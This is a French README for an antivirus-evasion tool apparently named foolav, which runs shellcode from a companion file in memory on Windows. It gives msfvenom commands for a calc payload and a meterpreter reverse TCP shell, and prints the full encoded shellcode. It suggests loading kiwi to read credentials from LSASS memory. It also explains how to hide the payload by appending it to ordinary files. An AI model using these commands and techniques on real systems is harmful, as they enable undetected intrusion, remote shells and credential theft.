
Outil de pentest pour l'évasion antivirus et l'exécution de payload arbitraire sur une cible Wintel.
L'exécutable compilé avec ce code est utile lors de tests d'intrusion où il est nécessaire d'exécuter une charge utile (meterpreter peut-être ?) tout en étant certain qu'elle ne sera pas détectée par un antivirus. La seule condition est de pouvoir placer deux fichiers dans le même répertoire : l'exécutable binaire et le fichier de charge utile.
préparez votre charge utile (x86), par exemple :
calc : msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00\x0a\x0d\xff" -f c 2>/dev/null | egrep "^\"" | tr -d "\"\n;" >foolav.mf (vous n'avez pas réellement besoin d'utiliser un encodeur ou de liste noire de caractères, cela fonctionnera de toute façon)
meterpreter : msfvenom -p windows/meterpreter_reverse_tcp LHOST=... -a x86 -f c 2>/dev/null | egrep "^\"" | tr -d "\"\n;" >foolav.mf
copiez le fichier de charge utile [executable-name-without-exe-extension].mf dans le même répertoire que l'exécutable
charge utile exécutant calc.exe générée à l'aide de la commande ci-dessus :
# calc.exe
\xbb\x28\x30\x85\x5b\xd9\xf7\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x33\x83\xea\xfc\x31\x5a\x0e\x03\x72\x3e\x67\xae\x7e\xd6\xee\x51\x7e\x27\x91\xd8\x9b\x16\x83\xbf\xe8\x0b\x13\xcb\xbc\xa7\xd8\x99\x54\x33\xac\x35\x5b\xf4\x1b\x60\x52\x05\xaa\xac\x38\xc5\xac\x50\x42\x1a\x0f\x68\x8d\x6f\x4e\xad\xf3\x80\x02\x66\x78\x32\xb3\x03\x3c\x8f\xb2\xc3\x4b\xaf\xcc\x66\x8b\x44\x67\x68\xdb\xf5\xfc\x22\xc3\x7e\x5a\x93\xf2\x53\xb8\xef\xbd\xd8\x0b\x9b\x3c\x09\x42\x64\x0f\x75\x09\x5b\xa0\x78\x53\x9b\x06\x63\x26\xd7\x75\x1e\x31\x2c\x04\xc4\xb4\xb1\xae\x8f\x6f\x12\x4f\x43\xe9\xd1\x43\x28\x7d\xbd\x47\xaf\x52\xb5\x73\x24\x55\x1a\xf2\x7e\x72\xbe\x5f\x24\x1b\xe7\x05\x8b\x24\xf7\xe1\x74\x81\x73\x03\x60\xb3\xd9\x49\x77\x31\x64\x34\x77\x49\x67\x16\x10\x78\xec\xf9\x67\x85\x27\xbe\x88\x67\xe2\xca\x20\x3e\x67\x77\x2d\xc1\x5d\xbb\x48\x42\x54\x43\xaf\x5a\x1d\x46\xeb\xdc\xcd\x3a\x64\x89\xf1\xe9\x85\x98\x91\x6c\x16\x40\x78\x0b\x9e\xe3\x84
une fois l'exécutable lancé, le fichier de charge utile sera analysé, chargé dans un thread séparé et exécuté en mémoire :

Le binaire x86 fonctionne à la fois sur les systèmes Windows x86 et x86_64. Vous devez toutefois utiliser des charges utiles d'architecture x86. Néanmoins, la charge utile meterpreter x86 peut être migrée vers des processus x86_64. Ensuite, load kiwi chargera la version x86_64, ce qui permet d'accéder au contenu juteux de la mémoire du processus LSASS :)

Le fichier de charge utile .mf peut être obscurci - l'analyseur ignorera tout caractère autre que les séquences hexadécimales \xHH. Cela signifie qu'il peut annexer votre charge utile à presque n'importe quel fichier, la cacher entre les lignes ou même ajouter vos propres commentaires, exemple :
